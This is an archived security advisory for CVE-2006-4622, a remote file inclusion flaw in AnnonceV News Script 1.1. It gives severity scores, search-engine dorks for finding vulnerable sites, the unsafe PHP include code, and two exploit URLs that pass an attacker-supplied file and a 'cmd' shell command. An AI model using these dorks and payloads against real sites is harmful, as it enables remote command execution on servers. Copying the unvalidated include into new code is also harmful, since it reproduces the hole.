Bug: AnnonceV News Script Remote Command Vulnerability ( Ascii Version )

Search:
WLB2

AnnonceV News Script Remote Command Vulnerability

Published
Credit
Risk
2006.09.08
botan
High
CWE
CVE
Local
Remote
N/A
CVE-2006-4622
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

* Kurdish Security Advisory

* Original Adv : http://kurdishsecurity.blogspot.com/2006/09/kurdish-security-26-annoncev
-news.html

* Script : AnnonceV

* Site : http://www.comscripts.com/scripts/php.annoncesv.1895.html

* Version : 1.1

* Risk : High

* Class : Remote

* Contact : botan (at) linuxmail (dot) org [email concealed] and irc.gigachat.net #kurdhack

* Nice crackerz sh00tz:milex,b3g0k,azad,fearless,darki,qawiste and other my friends

------------------------------------------------------------------------
-----------

Google w0rkez :P : "AnnonceV1.1"

: "/admin/annonce.php"

: "/annonce.php"

lol now code :]

$page=$_GET['page'];

if(substr($page, -3) == 'txt')//pour les news

{

include("newsdisplay.php");

}

else //pour toutes les autres pages

{

include($page.".php");

}

?>

http://www.site.com/annonce.php?page=yourcode.txt?&cmd=id

http://www.site.com/admin/annonce.php?page=yourcode.txt?&cmd=id

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version